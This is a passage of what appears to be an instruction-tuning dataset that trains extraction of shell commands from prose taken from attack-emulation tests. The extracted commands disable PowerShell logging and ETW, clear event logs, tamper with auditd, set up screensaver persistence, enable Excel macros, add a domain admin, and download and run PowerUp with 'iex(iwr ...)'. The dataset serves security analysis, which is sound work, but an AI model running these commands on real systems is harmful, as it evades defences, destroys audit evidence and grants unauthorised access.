lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    You can adjust the registry settings for the current user to hide compress color and tips by executing this command via cmd: reg  add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f; To disable PowerShell Module Logging, Script Block Logging, Transcription, and Script Execution for the current user, run the following commands in the cmd console: reg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\nreg  add HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\nreg delete HKCU\\Software\\Policies\\Microsoft\\Windows\\PowerShell /v EnableScripts /f >nul 2>&1",
    "output": "{\"command_list\": [\"reg  add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowInfoTip /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Microsoft\\\\Windows\\\\CurrentVersion\\\\Explorer\\\\Advanced /v ShowCompColor /t REG_DWORD /d 0 /f\\n\", \"reg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ModuleLogging /v EnableModuleLogging /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\ScriptBlockLogging /v EnableScriptBlockLogging /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell\\\\Transcription /v EnableTranscripting /t REG_DWORD /d 0 /f\\nreg  add HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /t REG_DWORD /d 0 /f\\nreg delete HKCU\\\\Software\\\\Policies\\\\Microsoft\\\\Windows\\\\PowerShell /v EnableScripts /f >nul 2>&1\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    Using Docker's exec command, attackers who have permissions can run malicious code in containers. A common technique involves creating a backdoor container from a legitimate image and executing commands remotely, as shown in this example: docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\ndocker exec -i t1609_container bash -c \"cat /tmp/output.txt\"; For persistence through screensaver execution, follow these steps using the following command sequence: reg export \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" %userprofile%\\backup.reg\ncopy #{input_binary} \"%SystemRoot%\\System32\\evilscreensaver.scr\"\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveActive /t REG_SZ /d 1 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\nreg.exe add \"HKEY_CURRENT_USER\\Control Panel\\Desktop\" /v SCRNSAVE.EXE /t REG_SZ /d \"%SystemRoot%\\System32\\evilscreensaver.scr\" /f\nif #{reboot} NEQ 0 shutdown /r /t 0",
    "output": "{\"command_list\": [\"docker build -t t1609  $PathtoAtomicsFolder/T1609/src/ \\ndocker run --name t1609_container --rm -itd t1609 bash /tmp/script.sh\\ndocker exec -i t1609_container bash -c \\\"cat /tmp/output.txt\\\"\\n\", \"reg export \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" %userprofile%\\\\backup.reg\\ncopy #{input_binary} \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\"\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveActive /t REG_SZ /d 1 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaveTimeout /t REG_SZ /d 60 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v ScreenSaverIsSecure /t REG_SZ /d 0 /f\\nreg.exe add \\\"HKEY_CURRENT_USER\\\\Control Panel\\\\Desktop\\\" /v SCRNSAVE.EXE /t REG_SZ /d \\\"%SystemRoot%\\\\System32\\\\evilscreensaver.scr\\\" /f\\nif #{reboot} NEQ 0 shutdown /r /t 0\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To emulate modifications to auditd configuration files, run the following command: sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\nif [ -f \"/etc/#{auditd_config_file_name}\" ];\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\nfi \nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\n; This test emulates changes to auditd configuration files with the command: echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\n",
    "output": "{\"command_list\": [\"sed -i '$ a #art_test_1562_006_1' /etc/audisp/#{audisp_config_file_name}\\nif [ -f \\\"/etc/#{auditd_config_file_name}\\\" ];\\nthen sed -i '$ a #art_test_1562_006_1' /etc/#{auditd_config_file_name}\\nelse sed -i '$ a #art_test_1562_006_1' /etc/audit/#{auditd_config_file_name}\\nfi \\nsed -i '$ a #art_test_1562_006_1' /etc/#{libaudit_config_file_name}\\n\", \"echo '#art_test_1562_006_1' >> /etc/security/#{auditd_config_file_name}\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    To clear Windows Event Logs, run the following command and then verify the System.evtx logs at C:\\Windows\\System32\\winevt\\Logs are empty: wevtutil cl #{log_name}\n; To clear all event logs using PowerShell, run the following commands: $logs = Get-EventLog -List | ForEach-Object {$_.Log}\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\nGet-EventLog -list\n. After execution, verify the Security.evtx logs at C:\\Windows\\System32\\winevt\\Logs are empty.",
    "output": "{\"command_list\": [\"wevtutil cl #{log_name}\\n\", \"$logs = Get-EventLog -List | ForEach-Object {$_.Log}\\n$logs | ForEach-Object {Clear-EventLog -LogName $_ }\\nGet-EventLog -list\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    The following command disables ETW for .NET Framework by updating the registry with the COMPlus_ETWEnabled variable set to 0: REG ADD HKCU\\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f. Remember that you may need to log out for the settings to become active.; For disabling ETW in the .NET Framework, use the following command to modify the HKCU registry: New-ItemProperty -Path HKCU:\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \"String\" -Force. A system logout might be necessary to apply these changes.",
    "output": "{\"command_list\": [\"REG ADD HKCU\\\\Environment /v COMPlus_ETWEnabled /t REG_SZ /d 0 /f\", \"New-ItemProperty -Path HKCU:\\\\Environment -Name COMPlus_ETWEnabled -Value 0 -PropertyType \\\"String\\\" -Force\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"\n\n    Expected Output:\n    {\"command_list\": [\"import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 5\"]}\n\n    Another Example Input:\n    \"The PowerUp module from PowerShellMafia can be loaded and executed to check for privilege escalation opportunities using this sequence: [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"\n\n    Expected Output:\n    {\"command_list\": [\"[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\\niex(iwr https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/d943001a7defb5e0d1657085a77a0e78609be58f/Privesc/PowerUp.ps1 -UseBasicParsing)\\nInvoke-AllChecks\"]}\n\n    ",
    "input": "\n    Please extract all command execution statements from the following text, ensuring accurate boundary detection and ignoring other descriptive text. Return in the following format:\n\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Here is the text you need to analyze:\n    This process mimics the MirrorBlast T505 campaign's JS->MSI chain by executing a specially designed xlsm file, which requires the 32-bit Office version, via these commands: Cd \"C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\"\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\SOFTWARE\\Microsoft\\Office\\16.0\\Excel\\Security -Name \"VBAWarnings\" -Value \"1\" -PropertyType DWORD -Force | Out-Null\n& '.\\Excel 2016.lnk' \"PathToAtomicsFolder\\T1204.002\\bin\\mirrorblast_emulation.xlsm\"; For creating a new domain admin account, use the following command sequence: net user \"#{username}\" \"#{password}\" /add /domain\nnet group \"#{group}\" \"#{username}\" /add /domain\n",
    "output": "{\"command_list\": [\"Cd \\\"C:\\\\ProgramData\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\"\\nNew-ItemProperty -Path Registry::HKEY_CURRENT_USER\\\\SOFTWARE\\\\Microsoft\\\\Office\\\\16.0\\\\Excel\\\\Security -Name \\\"VBAWarnings\\\" -Value \\\"1\\\" -PropertyType DWORD -Force | Out-Null\\n& '.\\\\Excel 2016.lnk' \\\"PathToAtomicsFolder\\\\T1204.002\\\\bin\\\\mirrorblast_emulation.xlsm\\\"\", \"net user \\\"#{username}\\\" \\\"#{password}\\\" /add /domain\\nnet group \\\"#{group}\\\" \\\"#{username}\\\" /add /domain\\n\"]}"
  },
  {
    "instruction": "\n    Given a natural language input that may contain embedded command-line instructions (e.g., Bash, PowerShell, CMD), extract all syntactically valid command execution statements according to the following rules:\n\n    Your task is to:\n    1. Determine whether the input text contains any command execution statement (e.g., Bash, PowerShell, CMD).\n    2. If commands exist, extract them completely and accurately.\n    3. Commands may appear at the beginning, middle, or end of a sentence and can span multiple lines.\n    4. Ignore all non-command content that precedes or follows the command.\n    5. A single sentence or paragraph may contain multiple commands; return them in a list format.\n    6. Use Chain-of-Thought reasoning to break down your analysis step by step.\n    7. Only extract syntactically valid commands — do not include natural language descriptions, comments, or explanations.\n    8. Preserve newline characters such as '\n'.\n\n    Important Instructions:\n\n    - Do NOT split multi-line commands based on line breaks.\n    - Treat full script blocks as a single command, including but not limited to:\n      - `try { ... } catch { ... }`\n      - Multi-line expressions using backticks: `Get-Item \\`n\"C:\\Path\\To\\File\"`\n      - Pipelines that span multiple lines: `Get-Process | Where-Object { ... } | Select-Object ...`\n      - Multiple commands separated by semicolons (`;`)\n      - Loops and conditionals: `if (...) { ... }`, `foreach (...) { ... }`\n      - Function definitions and invocations\n\n    ⚠️ Special Attention Required ⚠️:\n    - If multiple commands are connected only by newline characters `\n` and occur consecutively without any English explanation between them, they should be merged into one combined command.\n    - Specifically, if these consecutive lines form a **semantically coherent command group (SCG)** — regardless of how many lines it spans — treat them as a single logical unit.\n    - An SCG is defined as a sequence of command lines where:\n      - No intervening English description or technical explanation exists;\n      - All lines are syntactically valid;\n      - They either share control structures (like loops, conditionals), variable dependencies, or sequential execution logic;\n\n    Preserve complete syntax structures and logical groupings.\n    If unsure, prefer extracting the entire block rather than fragmenting it.\n    Stop extraction immediately when you encounter English explanation or technical description.\n    Avoid extracting anything that looks like an English phrase or technical explanation.\n\n    Return output in the following format:\n    {\n      \"command_list\": [\"command1\", \"command2\", ...]\n    }\n\n    Example Input:\n    \"To execute SharpHound collection, first import the module with import-module \"PathToAtomicsFolder\\\\..\\\\ExternalPayloads\\\\SharpHound.ps1\"\\ntry { Invoke-BloodHound -OutputDirectory $env:Temp }\\ncatch { $_; exit $_.Exception.HResult}\\nStart-Sleep 